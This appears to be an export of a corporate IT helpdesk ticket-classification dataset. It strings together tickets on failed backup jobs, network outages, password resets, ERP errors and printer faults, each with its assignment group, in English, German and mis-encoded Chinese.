10. verified site working on backup circuit ? \_\_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_na\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: job bkwin\_search\_server\_dev\_daily failed in job\_scheduler at: 09/08/2016 23:22:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
backup statistics:\_x000D\_
\_x000D\_
session queuing time (hours) 0.00 \_x000D\_
------------------------------------------- \_x000D\_
completed disk agents ........ 10 \_x000D\_
failed disk agents ........... 0 \_x000D\_
aborted disk agents .......... 0 \_x000D\_
------------------------------------------- \_x000D\_
disk agents total ........... 10 \_x000D\_
=========================================== \_x000D\_
completed media agents ....... 1 \_x000D\_
failed media agents .......... 1 \_x000D\_
aborted media agents ......... 0 \_x000D\_
------------------------------------------- \_x000D\_
media agents total .......... 2 \_x000D\_
=========================================== \_x000D\_
mbytes total ................. 58614 mb \_x000D\_
used media total ............. 1 \_x000D\_
disk agent errors total ...... 0 \_x000D\_
\_x000D\_
===============================================================\_x000D\_
job bkwin\_search\_server\_dev\_daily failed in job\_scheduler at: 09/08/2016 23:22:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: copy window 7 at monitor, Description: \_x000D\_
\_x000D\_
received from: ujbaemlc.ilzhrxjo@gmail.com\_x000D\_
\_x000D\_
hi team\_x000D\_
\_x000D\_
please fix problem copy window 7 at monitor, , is assigned to Assignment group: GRP\_0.Ticket with Short description: job SID\_38hotf failed in job\_scheduler at: 09/08/2016 22:05:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
[major] from: bma@HostName\_1302.hq.company.com "lib6\_drive1" time: 9/8/2016 10:01:54 pm\_x000D\_
[90:51] /dev/rmt36.1\_x000D\_
cannot write to device ([5] i/o error)\_x000D\_
\_x000D\_
\_x000D\_
backup statistics:\_x000D\_
\_x000D\_
session queuing time (hours) 0.00 \_x000D\_
------------------------------------------- \_x000D\_
completed disk agents ........ 14 \_x000D\_
failed disk agents ........... 1 \_x000D\_
aborted disk agents .......... 0 \_x000D\_
------------------------------------------- \_x000D\_
disk agents total ........... 15 \_x000D\_
=========================================== \_x000D\_
completed media agents ....... 0 \_x000D\_
failed media agents .......... 2 \_x000D\_
aborted media agents ......... 0 \_x000D\_
------------------------------------------- \_x000D\_
media agents total .......... 2 \_x000D\_
=========================================== \_x000D\_
mbytes total ................. 378146 mb \_x000D\_
used media total ............. 2 \_x000D\_
disk agent errors total ...... 1 \_x000D\_
\_x000D\_
===============================================================\_x000D\_
= exit status : 11\_x000D\_
= system time (seconds) : 0 elapsed time (minutes) : 82\_x000D\_
= user time (seconds) : 0\_x000D\_
= thu 09/08/16 22:05:23 eastern daylight time\_x000D\_
===============================================================\_x000D\_
\_x000D\_
job SID\_38hotf failed in job\_scheduler at: 09/08/2016 22:05:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: outlook æ‰“å¼€å¯åŠ¨æç¤ºé”™è¯¯ã€‚, Description: outlook æ‰“å¼€å¯åŠ¨æç¤ºé”™è¯¯ã€‚, is assigned to Assignment group: GRP\_31.Ticket with Short description: job Job\_2555 failed in job\_scheduler at: 09/08/2016 22:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2555 failed in job\_scheduler at: 09/08/2016 22:00:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: india , company-ap-ind--pu5-lean-2960s-stack-sw01 went down on 9/8/2016 7:59 pm, Description: india , company-ap-ind-kirty-pu5-lean-2960s-stack-sw01 went down on 9/8/2016 7:59 pm
gigabitethernet1/0/52 Â· uplink to company-ap-ind--pu5-lean-2960s-stack-sw01 on company-ap-ind-pu5-gf-2960s-access-sw01.company.com is down, is assigned to Assignment group: GRP\_8.Ticket with Short description: è½¬å‘: finished: start of s&op process, Description: \_x000D\_
\_x000D\_
received from: lkrfndev.kztlojin@gmail.com\_x000D\_
\_x000D\_
helloï¼Œit help\_x000D\_
\_x000D\_
since our territory sales director has been resigned ,i need response for reviewing forecast in futureï¼Œcan you please help assign this approval authorizationï¼ˆs&opï¼‰ï¼Œ, is assigned to Assignment group: GRP\_0.Ticket with Short description: i have a erp issue. reversed dn 9168001220 for sales order 35934132 when i went to valn2 to complete delivery. i get thi, Description: name:maghyuigie ghjkzalez
language:
browser:microsoft internet explorer
email:houcdelq.wnypackq@gmail.com
customer number:
telephone:
summary:hi it team
i have a erp issue. reversed dn 9168001220 for sales order 35934132 when i went to valn2 to complete delivery. i get this message value of modific. counter for doc 1146045243 in supply\_chain is 0, but should be 5 please help., is assigned to Assignment group: GRP\_6.Ticket with Short description: skype audio not working, Description: skype audio not working.\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-updated the audio drivers after checking the sound settings.\_x000D\_
-restarted the pc.\_x000D\_
-audio is now working fine.\_x000D\_
-issue resolved.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_562 failed in job\_scheduler at: 09/08/2016 17:53:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_562 failed in job\_scheduler at: 09/08/2016 17:53:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job SID\_39hotf failed in job\_scheduler at: 09/08/2016 17:54:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_39hotf failed in job\_scheduler at: 09/08/2016 17:54:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: netzwerkkabel des erp druckers verlÃ¤ngern,, Description: netzwerkkabel des erp druckers em 19 verlÃ¤ngern (bÃ¼ro heiner sponsel), is assigned to Assignment group: GRP\_42.Ticket with Short description: need to add the pc lvlw8517820 to domain , Description: need to add the pc lvlw8517820 to domain , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp netweaver business client will not open drawings., Description: name:xyjkndus ltcevgap
language:
browser:microsoft internet explorer
email:xyjkndus.ltcevgap@gmail.com
customer number:
telephone:
summary:erp netweaver business client will not open drawings., is assigned to Assignment group: GRP\_11.Ticket with Short description: what is the easiest way to change all of my passwords?, Description: name:slrgconp onukdesq
language:
browser:microsoft internet explorer
email:slrgconp.onukdesq@gmail.com
customer number:
telephone:
summary:what is the easiest way to change all of my passwords?, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update for ticket\_no0438583, Description: ticket update for ticket\_no0438583, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to log in to engineering tool, Description: unable to log in to engineering tool, is assigned to Assignment group: GRP\_0.Ticket with Short description: user name for fabxjimdghtyo depfugcy , Description: user name for fabxjimdghtyo depfugcy , is assigned to Assignment group: GRP\_0.Ticket with Short description: vip 2: printer hr14 not printing pdf document., Description: printer hr14 not printing pdf document.
-connected to the user system using teamviewer
-deleted the printer and readded the printer , able to print word docs,not able to print pdf docs.
-user has been having this issue again.
-user needs a local it take a look aerp.
computer name: lhol8516104
-contact: , is assigned to Assignment group: GRP\_3.Ticket with Short description: password reset, Description: name:mfeyouli ndobtzpw
language:
browser:microsoft internet explorer
email:mfeyouli.ndobtzpw@gmail.com
customer number:
telephone:
summary:please reset windows password and erp password for laffekr, is assigned to Assignment group: GRP\_0.Ticket with Short description: vendor needs to save files to his local pc., Description: hi,\_x000D\_
\_x000D\_
please reference inc1548324. i have another vendor - vvnookr - involved in the usa carve-out project that needs to save files to his local pc. can you add vvnookr to the exceptions group? nicrhty edmhihryu will approve if necessary. \_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_12.Ticket with Short description: erp runtime error.....this is what i'm eventually seeing, Description: \_x000D\_
\_x000D\_
received from: jbfmsxik.mfzjncva@gmail.com\_x000D\_
\_x000D\_
good afternoon:\_x000D\_
\_x000D\_
i'm having some difficulty looking up some top notch drawingsâ€¦i keep getting this "time out" error screen come up. i'm looking these drawings up under the cv04n page. i was directed to do the following to see these top notch drawings. i'm not sure if it's a permissions problem or an erp problem. any way you all could shed some light on this??\_x000D\_
\_x000D\_
\_x000D\_
[cid:image002.png@01d209e4.3e33a090]\_x000D\_
\_x000D\_
here's what i get when i try to look up those drawingsâ€¦..\_x000D\_
\_x000D\_
[cid:image001.png@01d209b7.ee5552c0]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update for inplant\_858584, Description: ticket update for inplant\_858584, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to vpn, Description: unable to connect to vpn, is assigned to Assignment group: GRP\_0.Ticket with Short description: snagit, Description:
received from: lucgnhda.carthy@company.com
does company have a corporate license for snagit editor 12?
--
qmglkaru qiwhfkdv
manager business systems,
lucgnhda.carthy@company.com
crm news!
it's here! with the final release of the fy16 dynamics crm project, the microsoft dynamics crm mobile app is now available for download for all crm users. the app can be installed on any ios, android or windows phone or tablet, including the dell 2-in-1 windows 8.1 tablet/laptop.
for more details on the app, watch the launch video<
need help with your dynamics crm?
click here<
chat with a live agent about your dynamics crm now! click here<
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to open outlook, Description: name:oikhfqyl gcknzthb
language:
browser:microsoft internet explorer
email:oikhfqyl.gcknzthb@gmail.com
customer number:
telephone:
summary:cannot get onto outlook. just get the blue screen with the dots moving at the bottom. tried cold boot thrgxqsuojr xwbesorfs., is assigned to Assignment group: GRP\_0.Ticket with Short description: user harrfgyibs locked out of erp mii system., Description: user harrfgyibs locked out of erp mii system.
help the user login after unlocking the user account.
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1388 failed in job\_scheduler at: 09/08/2016 13:20:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1388 failed in job\_scheduler at: 09/08/2016 13:20:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: telecom\_vendor\_3 dongle, Description: help to configure the dongle on new laptop., is assigned to Assignment group: GRP\_19.Ticket with Short description: id04 printer, Description: printer setup, is assigned to Assignment group: GRP\_19.Ticket with Short description: id 08 printer issue, Description: id08 printer not working, is assigned to Assignment group: GRP\_19.Ticket with Short description: user wants this messgage recall aerp.-urgent, Description: user wants this messgage recall aerp.-urgent
, is assigned to Assignment group: GRP\_26.Ticket with Short description: erp response time is very long - even for simple transactions - please check - plant vSID\_62 is reporting., Description: erp response time is very long - even for simple transactions - please check - plant vSID\_62 is reporting., is assigned to Assignment group: GRP\_0.Ticket with Short description: circuit outage: apac company secondary vpn circuit is down since 12:34 pm on 09/08 et site is up on primary mpls, Description: what type of outage: \_\_\_\_\_network \_\_x\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_yes\_\_(slo)\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_12:34 pm on 09/08 et \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_na\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_\_na\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_na\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_na\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_na\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: ticket update on ticket\_no0434290, Description: ticket update on ticket\_no0434290, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook constantly freezes up., Description: contact me @ xt 154712 if needed. no error messages., is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to update password on password\_management\_tool, Description: unable to update password on password\_management\_tool, is assigned to Assignment group: GRP\_0.Ticket with Short description: mapping network drive, Description: mapping network drive, is assigned to Assignment group: GRP\_0.Ticket with Short description: cad pc for main training room, Description: \_x000D\_
\_x000D\_
received from: gdkiehbr.kdithjsr@gmail.com\_x000D\_
\_x000D\_
please configure and install a cad machine under the av cabinet in the new training room. the machine needs the standard cad configuration. please also install a wireless mouse, keybankrd, and 3d cad manipulator.\_x000D\_
the machine will need to be setup for multiple users to sign on with their credentials. per the request of ehs it will also need a dvd drive to play safety training videos.\_x000D\_
, is assigned to Assignment group: GRP\_3.Ticket with Short description: sent from snipping tool, Description: \_x000D\_
\_x000D\_
received from: tfesaxip.cvorpnth@gmail.com\_x000D\_
\_x000D\_
unable to convert a planned order for this item. also unable to create a production order for this item. received this error message both times.\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_45.Ticket with Short description: drive2 is not responding to mount requests for library-5, , Description: drive2 is not responding to mount requests for library-5, , is assigned to Assignment group: GRP\_8.Ticket with Short description: cannot log into skype, Description: \_x000D\_
\_x000D\_
received from: lijrvdgh.wfhmdsoa@gmail.com\_x000D\_
\_x000D\_
i cannot log into skype. it is saying my credentials are bad.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: vm lhqsm68267 taking excessive length of time to release backup snapshot., Description: the backup\_tool backup for lhqsm68267 is taking over 14 hours to release the snapshot at the end of the backup. can you look at this vm and advise if there is a problem with lhqsm68267., is assigned to Assignment group: GRP\_12.Ticket with Short description: ticket update on inc1549550 , Description: ticket update on inc1549550 , is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset for erp SID\_34 account, Description: password reset for erp SID\_34 account, is assigned to Assignment group: GRP\_0.Ticket with Short description: quantum oracle database connection is not working, Description: HostName\_1317 and HostName\_1316 databases listener is not functioning when ever we try to uacyltoe hxgaycze the connection it doesn't connect this is affection production. production is not down this is just making the users enter data manually. the databases are "quantum" and "glog2"\_x000D\_
\_x000D\_
ip addresses:\_x000D\_
HostName\_1317 10.170.140.10\_x000D\_
proglovia 10.170.140.30\_x000D\_
\_x000D\_
here is the ip address for the cisco ucs manager console 89.96.26.1800\_x000D\_
i've tried every set of credentials that i have access. did anyone change the credentials\_x000D\_
\_x000D\_
HostName\_1316 and HostName\_1317 have been restarted as requested. please check the database listener for databaseslisted below\_x000D\_
\_x000D\_
quantum\_x000D\_
glog2\_x000D\_
glog2old, is assigned to Assignment group: GRP\_1.Ticket with Short description: german call, Description: german call, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset, Description: password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: can't create a delivery note for a sto # 5019104863 from plant\_120 to plant\_348, Description: we can't create a delivery note for a sto # 5019104863 from plant\_120 to plant\_348 for all 4 items.\_x000D\_
all items in that sto are available in stock in plant\_120, but the system does not see it.\_x000D\_
please check and generate a delivery note.\_x000D\_
it is quite urgent as the drum #7262112 needs to be sent further to apac for the exposition in apac.\_x000D\_
, is assigned to Assignment group: GRP\_6.Ticket with Short description: vpn access, Description: \_x000D\_
\_x000D\_
received from: khspqlnj.npgxuzeq@gmail.com\_x000D\_
\_x000D\_
i am unable to access some network folders when connected to vpn\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: node germany pbx trunk card located at germany is down at 9:33 pm et on 09/08., Description: node germany pbx trunk card located at germany is down at 9:33 pm et on 09/08., is assigned to Assignment group: GRP\_37.Ticket with Short description: password reset , Description: password reset , is assigned to Assignment group: GRP\_0.Ticket with Short description: need access to znqcljxt azvoespk's collaboration\_platform, Description: contact : , is assigned to Assignment group: GRP\_16.Ticket with Short description: npc 311104334 - "plant not selected", Description: i was notified by kuznvase jrxtbuqz that this npc is having an issue. apparently, the plant was not selected during the execution of the task. please investigate and talk to thilo for my specifics. , is assigned to Assignment group: GRP\_11.Ticket with Short description: my SID\_39 crm has problem-please help to fix it aerp, thanks!, Description: \_x000D\_
\_x000D\_
received from: zmkitbsh.bxsyaipz@gmail.com\_x000D\_
\_x000D\_
dear it helper,\_x000D\_
\_x000D\_
please see below message. when i am trying to process on this complaint 7611183861, it didn't allow me to change anything, it says this crm is being processed by user sundj, and i am sundj. would you please help me to fix it? i have reboot my computer, but this message is still there.\_x000D\_
\_x000D\_
\_x000D\_
[cid:image001.png@01d20a16.847d2d00]\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_15.Ticket with Short description: problem with crm, Description:
received from: vkzwafuh.tcjnuswg@gmail.com
hi,
when i signed into crm i got and error message. the reporting\_engineering\_tool didn't load. see below.
[cid:image001.jpg@01d209a9.900c3d90]
vkzwafuh tcjnuswg - cmp
sr. application eng.
vkzwafuh.tcjnuswg@gmail.com
, is assigned to Assignment group: GRP\_0.Ticket with Short description: error when trying to access SID\_1 quality system in erp., Description: error when trying to access SID\_1 quality system in erp., is assigned to Assignment group: GRP\_0.Ticket with Short description: u drive access, Description: hello, for the next one month i will be in bedord, usa. i request to provide access to u drive (\\ldbsm010\engineering\_application\) since its taking up too much time to open nx documents from engineering tool with the current u drive path (\\HostName\_96\engineering\_application). kindly process aerp. , is assigned to Assignment group: GRP\_12.Ticket with Short description: lizenz , Description: let's talk- video kann nicht geÃ¶ffnet werden, is assigned to Assignment group: GRP\_0.Ticket with Short description: usa nc server HostName\_1326 is not responding, no access, Description: usa nc server HostName\_1326 is not responding, no access, is assigned to Assignment group: GRP\_12.Ticket with Short description: employee owned mobility agreement, Description: \_x000D\_
\_x000D\_
received from: rmzlvqjf.eaqyxljb@gmail.com\_x000D\_
\_x000D\_
hello help team,\_x000D\_
attached you will find the agreement. what do i need to do next to get e-mail push, calendar synchronization etc.?\_x000D\_
\_x000D\_
mit freundlichem gruÃŸ / best , is assigned to Assignment group: GRP\_0.Ticket with Short description: sync hr org details to purchasing, Description: sync hr org details to purchasing for dhmfuvgw jralkfcb (hufghygh). he is getting the following error:
no data found for employee '1111196977', inform system administration., is assigned to Assignment group: GRP\_29.Ticket with Short description: account locked out, Description: account locked out, is assigned to Assignment group: GRP\_0.Ticket with Short description: duplicate machines displaying in machine list, Description: when a work center is changed on a machine in erp pm the machine with the old and new work center appear in the machine list in mii, is assigned to Assignment group: GRP\_41.Ticket with Short description: skype audio not working, Description: \_x000D\_
\_x000D\_
received from: vkezwolt.fgnqzeai@gmail.com\_x000D\_
\_x000D\_
kind attn:\_x000D\_
\_x000D\_
kindly resolve subject issue at the earliest.\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: drucker ng15 funktioniert nicht mehr (hardware problem), dringend benÃ¶tigt fÃ¼r auftragspapiere und bestellungen, Description: please complete all required questions below. \_x000D\_
if not, it will be returned back to the gsc / requester to provide required information\_x000D\_
\_x000D\_
â€¢ gsc to review ticket, if not able to resolve then please assign to appropriate group per your printer problem assignment flowchart.\_x000D\_
\_x000D\_
â€¢ printer name / make - model? (ex hq50 â€“ wy98 - hp 8150) hp laserjet 600\_x000D\_
\_x000D\_
â€¢ detailed description of the problem ? papier staut sich, es kommt kein ausdruck raus\_x000D\_
\_x000D\_
â€¢ type of documents not printing? (email â€“ excel â€“ wordâ€¦etc) erp\_x000D\_
(inwarehouse\_tool â€“ delivery note â€“ production orderâ€¦etc)\_x000D\_
\_x000D\_
â€¢ what system or application being used at time of the problem? (ex windows / erp /kls)\_x000D\_
\_x000D\_
â€¢ if not printing at all, does it respond to a ping command on the network and has a power cycle of the printer been completed?\_x000D\_
\_x000D\_
â€¢ if erp system, which system? (ex SID\_34 / SID\_38 / hrp / plm) SID\_34\_x000D\_
\_x000D\_
â€¢ if it's an erp printer problem can the erp output be rerouted to another erp printer temporarily?\_x000D\_
what printer can it be rerouted too? \_x000D\_
\_x000D\_
â€¢ if document is not printing correctly, please scan copy of the document and attach to the ticketing\_tool ticket., is assigned to Assignment group: GRP\_33.Ticket with Short description: problem in engineering tool, Description: \_x000D\_
\_x000D\_
received from: zaeduhlt.jdgsamtv@gmail.com\_x000D\_
\_x000D\_
hallo,\_x000D\_
\_x000D\_
ich habe ein problem beim Ã¼bertragen eines berirtchts in das engineering tool system.\_x000D\_
\_x000D\_
siehe das gelbe feld unten.\_x000D\_
schon mehrere male habe ich die felder ausgefÃ¼llt und gespeichert.\_x000D\_
\_x000D\_
wenn ich den berirtcht in das system Ã¼bertagen mÃ¶chte, gibt es eine fehlermeldung:\_x000D\_
\_x000D\_
siehe anhang\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
[cid:image001.png@01d209bf.4ac78940]\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen / with best , is assigned to Assignment group: GRP\_25.Ticket with Short description: blank call, Description: blank call from germany - interaction id - 2064209888, is assigned to Assignment group: GRP\_0.Ticket with Short description: 2md extenral monitor will not stay one, it flashes briefly then goes out., Description: 2md extenral monitor will not stay one, it flashes briefly then goes out., is assigned to Assignment group: GRP\_3.Ticket with Short description: travel expenses in erp, Description:
received from: uyrpdvoq.mbzevtcx@gmail.com
hi
i get this information when i want to do my travel expenses
zero amount
[cid:image002.png@01d209d4.05d99cf0]
but i entered the numbers as below
[cid:image003.png@01d209d4.05d99cf0]
[cid:image004.png@01d209d4.05d99cf0]
uyrpdvoq mbzevtcx
sales manager earthworks european served area â€“ north
uyrpdvoq.mbzevtcx@gmail.com<mailto:uyrpdvoq.mbzevtcx@gmail.com>
company infrastructure gmbh
geschÃ¤ftsfÃ¼hrer: phvkowml azbtkqwx und naruedlk mpvhakdq
www.company.com<
, is assigned to Assignment group: GRP\_10.Ticket with Short description: telephony\_software interaction desktop fails to connect, Description: this seems to have started after windows update kb4283716 got installed on user's pc.\_x000D\_
please find screenshot in the attached email., is assigned to Assignment group: GRP\_65.Ticket with Short description: please check the ale in detail, we have ongoing issues with sending data from hrp to SID\_34 and SID\_39 - assign to sreedhar, Description: please have a close look on the ale interface in production environment, i did work through some requests about expense reporting issues and i found out, that many changes in hrp did not move to SID\_34 via ale, even when the data was fine on hr side. for example the changes in it around stefyty and tom were not reflected in SID\_34, it looks like the majority of changes since at least 2 or 3 months were not synced. i'm not sure, if nothing went over, some did, but could be because of manual runs of ale by the hris team., is assigned to Assignment group: GRP\_20.Ticket with Short description: drucker hp laserjet 3525 (mp 72) defekt, Description: hp drucker cp3525 defekt, wurde bereits ausgetauscht (hp laserjet 500), is assigned to Assignment group: GRP\_33.Ticket with Short description: reset passwords for davidthd robankm using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: rechner fÃ¼r messvorrichtung steli funktioniert nicht \jionmpsf wnkpzcmv, Description: rechner fÃ¼r messvorrichtung steli funktioniert nicht \jionmpsf wnkpzcmv, is assigned to Assignment group: GRP\_24.Ticket with Short description: barcode scanner defekt \paternoster \bur am orde, Description: barcode scanner defekt \paternoster \bur am orde, is assigned to Assignment group: GRP\_24.Ticket with Short description: usb verlÃ¤ngerungskabel liefern .\hxwtidja ixahzmvf, Description: usb verlÃ¤ngerungskabel liefern .\hxwtidja ixahzmvf, is assigned to Assignment group: GRP\_24.Ticket with Short description: rechner nach update startet nicht \ewew8323649 \cudgevmx waqslrbd, Description: rechner nach update startet nicht \ewew8323649 \cudgevmx waqslrbd, is assigned to Assignment group: GRP\_24.Ticket with Short description: iehs metrics input - unable to scroll (urgent please), Description: \_x000D\_
\_x000D\_
received from: fniqhjtg.qrfuetpw@gmail.com\_x000D\_
\_x000D\_
good day,\_x000D\_
\_x000D\_
please can you advise how i can scroll down this screen â€“ (i have to minimize it in order to view all my entries) not sure what i am doing wrong.\_x000D\_
please help\_x000D\_
\_x000D\_
[cid:image002.png@01d209ca.c93911d0][cid:image003.jpg@01d209ca.c93911d0]\_x000D\_
\_x000D\_
[cid:image004.jpg@01d209ca.c93911d0]\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_34.Ticket with Short description: reset passwords for cubdsrml znewqgop using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: kein rechnungseingang beim kunden per e-mail , Description: kunde 81125605 / cc5202 erhÃ¤lt unsere rechnungen per e-mail - rechnungsempfÃ¤nger 81151242 / cc5202 - empfangende e-mail adresse rechnungseingang@sew-eurodrive.de bis zum 01.08.16 hat der kunde problemlos die rechnungen erhalten. ab dem 02.08.16 nicht mehr. dem kunden liegen die rechnungen somit nicht vor und werden deshalb auch nicht bezahlt. ich kann keine Ã¤nderung feststellen und bitte deshalb um klÃ¤rung. danke. \_x000D\_
\_x000D\_
\_x000D\_
translation : \_x000D\_
customer 81125605 / cc5202 receive our inwarehouse\_tools by email - inwarehouse\_tool recipient 70,040,131 / cc5202 - receiving email address rechnungseingang@sew-eurodrive.de until 01:08:16 the customer easily get the bills. from 02:08:16 not. the customer therefore not be before the bills and are therefore not paid. i can not detect any change and therefore ask for clarification. , is assigned to Assignment group: GRP\_13.Ticket with Short description: we've been informed that company malaysia office faced the problem of internet access, please help check and confirm, Description: do the needful on below e-mail request.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_4.Ticket with Short description: open tickets - gÃ¼nter steinhÃ¤uÃŸer , Description: \_x000D\_
\_x000D\_
received from: rtnzvplq.erhmuncq@gmail.com\_x000D\_
\_x000D\_
need support for one of our team member â€“ gÃ¼ter steinhÃ¤usser, location germany;\_x000D\_
\_x000D\_
he already opened already more tickets to get his skype up to speed â€“ but he mentioned that is not solved out after two month;\_x000D\_
gÃ¼nter has to participate on important hr calls â€“ so he should be able to work with our common communication technology;\_x000D\_
\_x000D\_
please support and follow up with gÃ¼nter directly â€“ german language is necessary!\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_26.Ticket with Short description: fixed assets additions list, Description: additions are not matching to trial balance and or to settlement list. difference is mainly cwip of the last year settled in the current year., is assigned to Assignment group: GRP\_10.Ticket with Short description: my powerpoint application crashed everytime after starting a file - impossible to work, Description: my powerpoint application crashed everytime after starting a file - impossible to work\_x000D\_
\_x000D\_
need to work on a customer proposal and on internal presentations\_x000D\_
\_x000D\_
no matheywter what pptx file i open the application crashes immediateley and i need to restart the computer. \_x000D\_
\_x000D\_
\_x000D\_
it is absolutely impossible to work with powerpoint on my laptop at present\_x000D\_
\_x000D\_
i am in transit home from businesstrip - you can reach me as of 14:00 german time, is assigned to Assignment group: GRP\_19.Ticket with Short description: netweaver business client 5.0, Description: \_x000D\_
\_x000D\_
received from: jfsmwpny.klxsdqiw@gmail.com\_x000D\_
\_x000D\_
hello colleagues ,\_x000D\_
\_x000D\_
need your help.\_x000D\_
today i will start , my "netweaver business client 5.0" for start a "er" but unfortunately the "netweaver business client 5.0" is not working.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset passwords for davidthd robankm using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: probleme mit laser, Description: der pc (ganz alter pc) am halbautomaten schaltet sich anscheinend wg. hitze ab.\_x000D\_
lÃ¼fter vom netzteil dreht nicht !\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_24.Ticket with Short description: need help in adding users in au-accounts.receivable@company.com, Description: need help in adding users in au-accounts.receivable@company.com, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to create delivery, Description: please provide the following:\_x000D\_
\_x000D\_
what order number? 5019103263\_x000D\_
\_x000D\_
what material or item number? 7352179\_x000D\_
\_x000D\_
what warehouse location? from plant\_228 to plant\_244\_x000D\_
\_x000D\_
issue description / error message? no sto possible with these combinations, is assigned to Assignment group: GRP\_29.Ticket with Short description: fc fÃ¼r departments\skv-alicona, Description: hallo marfhtyio.
mit dem freischalten von srgtycha geht klar.
wÃ¼rdest du bitte den hr. bxgwyamr hjbukvcq personalnr. 10056553
und den hr. wjzvabrl bmcfrlyz personalnr. 10560825
ebenfalls freischalten.
danke im voraus.
mfg. reinhard
von: yevirgnl ylhogjct
gesendet: mittwoch, 7. september 2016 09:04
an: ypladjeu wzfryxav
cc: hqyfebtd pkmyrdga
betreff: wg: zugriffsrechte
hallo reinhard,
ich bitte um ein approval (ok) fÃ¼r den zugriff.
gruss
marfhtyio
mit freundlichen grÃ¼ssen / best , is assigned to Assignment group: GRP\_12.Ticket with Short description: issue with the difference amount in the po approval report : zpsr0001 and also kindly remove the programdnty : zpsu0002, Description: issue with the difference amount in the po approval report : zpsr0001 and also kindly remove the programdnty : zpsu0002 as this is no longer used., is assigned to Assignment group: GRP\_20.Ticket with Short description: fc auf departments\\_scan\we47, Description: guten morgen,\_x000D\_
\_x000D\_
